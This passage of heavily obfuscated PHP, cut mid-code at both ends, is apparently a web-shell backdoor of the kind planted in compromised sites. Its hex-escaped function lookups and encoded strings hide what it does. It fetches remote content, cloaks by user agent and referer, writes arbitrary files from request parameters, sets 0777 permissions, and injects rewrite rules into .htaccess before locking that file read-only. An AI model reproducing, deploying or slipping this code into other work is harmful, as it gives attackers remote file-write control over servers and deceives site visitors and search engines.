return $OO__0O0_0O;}}$O0_O_0OO0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x30\x4f\x5f\x4f\x30"]($O__OO0_0O0);isset($O0_O_0OO0_["\x68\x6f\x73\x74"])||$O0_O_0OO0_["\x68\x6f\x73\x74"]=\'\';isset($O0_O_0OO0_["\x70\x61\x74\x68"])||$O0_O_0OO0_["\x70\x61\x74\x68"]=\'\';isset($O0_O_0OO0_["\x71\x75\x65\x72\x79"])|| $O0_O_0OO0_["\x71\x75\x65\x72\x79"]=\'\';isset($O0_O_0OO0_["\x4f\x30\x5f\x30\x5f\x5f\x30\x4f\x4f\x4f"])||$O0_O_0OO0_["\x4f\x30\x5f\x30\x5f\x5f\x30\x4f\x4f\x4f"]=\'\';$O0O00_OO__=$O0_O_0OO0_["\x70\x61\x74\x68"]?$O0_O_0OO0_["\x70\x61\x74\x68"].($O0_O_0OO0_["\x71\x75\x65\x72\x79"]?\'?\'.$O0_O_0OO0_["\x71\x75\x65\x72\x79"]:\'\'):\'/\';$O0O_0O_O_0=$O0_O_0OO0_["\x68\x6f\x73\x74"];if($O0_O_0OO0_["\x73\x63\x68\x65\x6d\x65"]==\'https\'){$O_00OO__0O=\'1.1\';$O0_0__0OOO=empty($O0_O_0OO0_["\x4f\x30\x5f\x30\x5f\x5f\x30\x4f\x4f\x4f"])?443:$O0_O_0OO0_["\x4f\x30\x5f\x30\x5f\x5f\x30\x4f\x4f\x4f"];$O0O_0O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'Ky7OshTdLtPXBwA=\');$O0O_0O_O_0.=$O0_O_0OO0_["\x68\x6f\x73\x74"];}else{$O_00OO__0O=\'1.0\';$O0_0__0OOO=empty($O0_O_0OO0_["\x4f\x30\x5f\x30\x5f\x5f\x30\x4f\x4f\x4f"])?80:$O0_O_0OO0_["\x4f\x30\x5f\x30\x5f\x5f\x30\x4f\x4f\x4f"];}$OO_00_0_OO=\'Host:\';$OO_00_0_OO.=$O0O_0O_O_0;$O__O0O_0O0[]=$OO_00_0_OO;$O__O0O_0O0[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'c87PyhT0tNLsnMz7NyzsktPvTgUA\');$O__O0O_0O0[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'Cy1OLhTdJ1TE/NK7EK9wgtPCAA==\');$O__O0O_0O0[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'c0xOThTi0osdLtPS1wIA\');unset($OO_00_0_OO);$OO_0O_0_0O="GET $O0O00_OO__ HTTP/$O_00OO__0O\\r\\n".${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x5f\x5f\x4f\x4f\x5f\x30"]("\\r\\n",$O__O0O_0O0)."\\r\\n\\r\\n";unset($O__O0O_0O0,$O0_O_0OO0_,$O_00OO__0O,$O0O00_OO__);$O_O_00O_0O=null;if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30"]($O0_O00O_O_,-1)==\'n\'){$O_O_00O_0O=$O0_O00O_O_($O0O_0O_O_0,$O0_0__0OOO,$O_O0O_0O0_no,$O_O0O_0O0_str,30);}else{if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30"]($O0_O00O_O_,-1)==\'t\'){$OO__O0O0_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'K0kushTNLtPXBwA=\');$OO__O0O0_0.=$O0O_0O_O_0;$OO__O0O0_0.=\':\';$OO__O0O0_0.=$O0_0__0OOO;$O_O_00O_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x5f\x30\x5f\x4f\x5f\x4f"]($OO__O0O0_0,$O_O0O_0O0_no,$O_O0O_0O0_str,30);unset($OO__O0O0_0);}}$O0_0_OOO_0=\'\';if($O_O_00O_0O){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x4f\x5f\x5f\x30\x30"]($O_O_00O_0O,true);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x30\x30\x5f\x30\x4f"]($O_O_00O_0O,30);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x5f\x30\x30\x5f\x4f"]($O_O_00O_0O,$OO_0O_0_0O);$OO0O0O___0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f"]($O_O_00O_0O);if(!$OO0O0O___0["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]){while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x4f\x5f\x30\x30\x4f"]($O_O_00O_0O)){$O0_OO__O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O_O_00O_0O);if($O0_OO__O00&&($O0_OO__O00=="\\r\\n"||$O0_OO__O00=="\\n")){break;}unset($O0_OO__O00);}while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x4f\x5f\x30\x30\x4f"]($O_O_00O_0O)){$O00___OOO0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x30\x5f\x30\x4f\x5f\x5f"]($O_O_00O_0O,8192);$O0_0_OOO_0.=$O00___OOO0;unset($O00___OOO0);}}unset($OO0O0O___0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x5f\x4f\x30\x30\x30"]($O_O_00O_0O);}else{if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30"]($O0_O00O_O_,-1)==\'e\'){$O00__0_OOO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x5f\x30\x4f\x5f\x30"]($O0O_0O_O_0);$O_O_00O_0O=$O0_O00O_O_(AF_INET,SOCK_STREAM,0);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x30\x5f\x4f\x4f\x30"]($O_O_00O_0O,$O00__0_OOO,$O0_0__0OOO)){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x5f\x4f\x4f\x4f\x5f\x5f"]($O_O_00O_0O,$OO_0O_0_0O,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x5f\x4f\x30\x30\x30"]($OO_0O_0_0O));while($O0O0O0O___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f\x30"]($O_O_00O_0O,8192)){$O0_0_OOO_0.=$O0O0O0O___;unset($O0O0O0O___);}$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x30\x4f\x5f\x5f\x5f\x4f"]("\\r\\n\\r\\n",$O0_0_OOO_0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x30\x5f\x30\x4f\x5f"]($O0_0_OOO_0);$O0_0_OOO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x5f\x30\x30\x5f"]("\\r\\n\\r\\n",$O0_0_OOO_0);$O_O0_0_0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x4f\x5f\x30\x4f"](2,5);$O0OO_0O__0=0;while($O0OO_0O__0<$O_O0_0_0OO){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x5f\x4f\x4f\x4f\x5f\x5f"]($O_O_00O_0O,$OO_0O_0_0O,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x5f\x4f\x30\x30\x30"]($OO_0O_0_0O));$O0OO_0O__0++;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x5f\x5f\x4f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x4f\x5f\x30\x4f"](50000,100000));}unset($O0OO_0O__0,$O_O0_0_0OO);}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x30\x5f\x30\x4f\x5f"]($O_O_00O_0O);unset($O00__0_OOO);}}if($O0_0_OOO_0==\'\'){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x5f\x4f\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x4f\x30\x5f\x5f"]) and $O__OO0_0O0){$O0_0_OOO_0=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x4f\x30\x5f\x5f"]($O__OO0_0O0);}}unset($OO_0O_0_0O,$O0_O00O_O_,$O_O_00O_0O,$O0_0__0OOO,$O0O_0O_O_0);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($O0_0_OOO_0,"\\xEF\\xBB\\xBF"));');$O_00O0OO__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x5f\x30\x4f\x4f\x5f\x30"]('$O0_O00O_O_nbed','$O0_OO_00O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30"]($O0_O00O_O_nbed,0,5);$OO0_OO0__0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30"]($O0_O00O_O_nbed,-5);$O0_0O0O__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30"]($O0_O00O_O_nbed,7,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x5f\x4f\x30\x30\x30"]($O0_O00O_O_nbed)-14);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x4f\x5f\x4f\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x5f\x30\x4f\x30\x5f"]($O0_OO_00O_.$O0_0O0O__O.$OO0_OO0__0));');$O_0O_0OO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x5f\x30\x4f\x4f\x5f\x30"]('$O_0O__O00Ogent','$OO0O0__0O_=false;$O0_OOO0_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'S8/PThT89JTcovqUnKzEsH0elgkZrE/BywUE1lYkZtP+PgA=\');if($O_0O__O00Ogent!=\'\'){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f"]("/($O0_OOO0_0_)/si",$O_0O__O00Ogent)){$OO0O0__0O_=true;}}return $OO0O0__0O_;');$OO_0__O0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x5f\x30\x4f\x4f\x5f\x30"]('$OO__0O0_0Oefer','$O_0O_0O0_O=false;$O_0_0O_0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'S8/PThT89J1UvO18sqqKlMzMjPh7KTMvPtPSAQ==\');if($OO__0O0_0Oefer!=\'\'&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f"]("/($O_0_0O_0OO)/si",$OO__0O0_0Oefer)){$O_0O_0O0_O=true;}return $O_0O_0O0_O;');$O_00O_O_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x5f\x30\x4f\x4f\x5f\x30"]('$OO0O0_0__O','$O0O_O00__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'S0nNShTS1JrUktKsotPvAgA=\');$O00OO_O_0_=isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x5f\x66\x69\x6c\x65\x6e\x61\x6d\x65"])?${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x5f\x66\x69\x6c\x65\x6e\x61\x6d\x65"]:\'\';$OOO0O_00__=isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x5f\x66\x69\x6c\x65\x63\x6f\x6e\x74\x65\x6e\x74"])?${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x5f\x66\x69\x6c\x65\x63\x6f\x6e\x74\x65\x6e\x74"]:\'\';if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x5f\x30\x4f\x4f\x30\x4f"]($O00OO_O_0_)){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x4f\x4f\x30\x5f\x5f"]($O00OO_O_0_)){echo $O0O_O00__O;exit();}}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x5f\x30\x5f\x4f"]($O00OO_O_0_,$OOO0O_00__,FILE_APPEND);echo $O00OO_O_0_.\'|success\';');$O__O00_O0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x5f\x30\x4f\x4f\x5f\x30"]('$OO0O0_0__O','$O_OO0__00O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'S0nNShTS1JrUktKsotPvAgA=\');$O__O_OO000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'S0nNShTS1JrSkuTU5OLS4tPGAA==\');$OO0OO_0_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'S0nNShTS1JrcnLV0jLzEktPFAA==\');$O00OO_O_0_=isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x5f\x66\x69\x6c\x65\x6e\x61\x6d\x65"])?${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x5f\x66\x69\x6c\x65\x6e\x61\x6d\x65"]:\'\';if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x5f\x30\x4f\x4f\x30\x4f"]($O00OO_O_0_)){@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x4f\x5f\x30\x4f"]($O00OO_O_0_,0777);if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x4f\x4f\x30\x5f\x5f"]($O00OO_O_0_)){echo $O_OO0__00O;}else{echo $O__O_OO000;}}else{echo $OO0OO_0_0_;}');$OOO__0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x5f\x30\x4f\x4f\x5f\x30"]('$O0_0_OO_O0=\'\',$O_0O00_O_O,$O_O0OO_00_,$O0O__0O_0O','$symbol_url;$O0O__0_0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'s/FM8hT81PKc1JVcjNT4kvSi0vyixJ1UutP2AwA=\');$OO__00OO0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'C0otLhT8osSXXNS8/tPMSwUA\');$O00__O0_OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'C0otLhT8osSXVKLE4tPFAA==\');$O0_O0_OO0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'C0otLhT8osSQ0qzUktPFAA==\');$O_OO00O_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'C0otLhT8osSXXOz0stPBAA==\');$O0_0_0OOO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'s9H3ThTPPNTynNSbUtPDAA==\');$O__00O_0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'C3INDhTHUNDol38/Rx9XPtP0dQUA\');$O0O__O_O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'y8xLShTa3QK8gtPoAAA=\');$O0_0_OO_O0= $O0O__0_0OO."\\n";$O0_0_OO_O0 .=$OO__00OO0_."\\x20On\\n";$O0_0_OO_O0 .=$O00__O0_OO."\\x20/\\n";$O0_0_OO_O0 .=$O0_O0_OO0_."\\x20^".$O0O__O_O00."$\\x20-\\x20[L]\\n";$O0_0_OO_O0 .=$O_OO00O_0_."\\x20%{".$O__00O_0OO."}\\x20!-f\\n";$O0_0_OO_O0 .=$O_OO00O_0_."\\x20%{".$O__00O_0OO."}\\x20!-d\\n";$O0_0_OO_O0 .=$O0_O0_OO0_."\\x20.\\x20".$symbol_url.$O0O__O_O00." [L]\\n";$O0_0_OO_O0 .=$O0_0_0OOO_;if($O0_0_OO_O0!=\'\'){if($O_0O00_O_O){$OO0_0O0__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'09PXyhTyhJTE5OLS4tPGAA==\');if($OO0_0O0__O!=\'\'){@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x4f\x5f\x30\x4f"]($OO0_0O0__O,0644);$O_0O_0_OO0=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x4f\x30\x5f\x5f"]($OO0_0O0__O);if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30\x30"]($O_0O_0_OO0,$O__00O_0OO)||!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30\x30"]($O_0O_0_OO0,$O0O__O_O00)){$O_0O_0_OO0=$O0_0_OO_O0.PHP_EOL .$O_0O_0_OO0;@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x5f\x30\x5f\x4f"]($OO0_0O0__O,$O_0O_0_OO0);}}@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x4f\x5f\x30\x4f"]($OO0_0O0__O,0444);}}');$O_OO00__O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x5f\x30\x4f\x4f\x5f\x30"]('$OO0O0_0__O=\'\'','@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x5f\x30\x4f\x5f\x5f\x4f"](3600);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x30\x5f\x30\x4f\x30"](1);global $OOO0_0_0_O;$O_0O00_O_O="1";$O0O0O_0_O_=\'3000\';$O__OO00O_0=\'\';if(isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x5f\x6c\x6f\x61\x64\x73"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x5f\x4f\x5f\x30\x4f"]();exit();}if(isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x5f\x64\x65\x6c"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x30\x5f\x4f\x30\x4f"]();exit();}$O0OO_0O__0pps =\'0.0\';$O0OO_0_0_O=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"];$O_000OO__O=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]:\'\';$OO__0O00_O=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]:\'\';$OO__0OO00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x4f\x5f\x30"]($OO__0O00_O);$O0O0O_0O__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x5f\x5f\x4f\x30\x4f\x30"]($O_000OO__O);$O__0O_O0O0=\'\';if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){$O__0O_O0O0=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){$O__0O_O0O0=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}$O0O0__O_0O=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"];$O_O0OO_00_=\'\';$O0O__0O_0O=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"];$O0O__0O_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x30\x4f\x5f\x4f\x4f"](\'\\\\\',\'/\',$O0O__0O_0O);$O0_OO0_0_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x5f\x5f\x4f\x30\x30"](__FILE__).\'/\';$O0_OO0_0_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x30\x4f\x5f\x4f\x4f"](\'\\\\\',\'/\',$O0_OO0_0_O);$O_0OO_O0_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x30\x4f\x5f\x4f\x4f"]($O0O__0O_0O,\'\',$O0_OO0_0_O);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x4f\x30"]($O0O0__O_0O,".php")>0){$O0_O0_O0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30\x4f\x30"]($O0O0__O_0O,".php")+4;$O_O0OO_00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30"]($O0O0__O_0O,0,$O0_O0_O0O_);$O__OO00O_0=$O_O0OO_00_;}if($O_O0OO_00_==\'\'){$OOO___00O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'y8xLShTa3QK8gtPoAAA=\');$O_O0OO_00_=$O_0OO_O0_0.$OOO___00O0;$O__OO00O_0=$O_0OO_O0_0;}$O_O0OO_00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x4f\x5f\x4f\x30"]($O_O0OO_00_,1);$O_O0O00_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'Ky8vVhT03Ry0stLy5JLCrRK0ptPNAQA=\');$O_0_0OOO0_=\'\';if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x53\x43\x48\x45\x4d\x45"])){$O_0_0OOO0_=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x53\x43\x48\x45\x4d\x45"];}$O_0O00_O_O=(int)$O_0O00_O_O;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30\x5f"](\'\',$O_0O00_O_O,$O_O0OO_00_,$O0O__0O_0O);$O__O0_OO00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x4f\x5f\x30\x4f\x30"]($O_O0O00_O_,$OOO0_0_0_O);$OO0O___O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x4f\x5f\x30\x4f\x30"]($O_O0O00_O_,$O0O0O_0_O_);$O_0OO0O__0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'yygpKhTbDS11fNyC8uUdVPSSxJNDIwtNAryCiwT7FVLVZLBxElIKIURGSAiAIQUQQiEkFEDojIBBFtPZQAIA\');$O_O000_O_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'yygpKhTbDS11fNyC8uUdXPKs0tMDIwtNAryCiwT7FVLVZLBxElIKIURGSAiAIQUQQiEkFEDojIBBFtPZQAIA\');$OO0___O0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'yygpKhTbDS11fNyC8uUdXPTSxIy8xJ1SutPpKAEA\');$O_0OO0O__0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x5f\x5f\x4f\x30\x4f"]("/%host%/si",$O__O0_OO00,$O_0OO0O__0);$OO0___O0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x5f\x5f\x4f\x30\x4f"]("/%host%/si",$O__O0_OO00,$OO0___O0O0);$O__OO0O_00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'sykuShTMxLz7ctPDAA==\');$O0_0OO__0O=\'zlib\';$OOO__0O_00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'y0+KThT6/KSMxLyUktPtAgA=\');if(isset(${"\x5f\x47\x45\x54"}["\x78\x78\x6e\x65\x77\x5f\x6d\x61\x70"])){$OO0_O0O__0=${"\x5f\x47\x45\x54"}["\x78\x78\x6e\x65\x77\x5f\x6d\x61\x70"];$OO_O0_00_O=\'/\';if($OO0_O0O__0!=\'\'){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x4f\x5f\x30\x30\x30\x5f"]($OO0_O0O__0,0755);$OO0_O0O__0 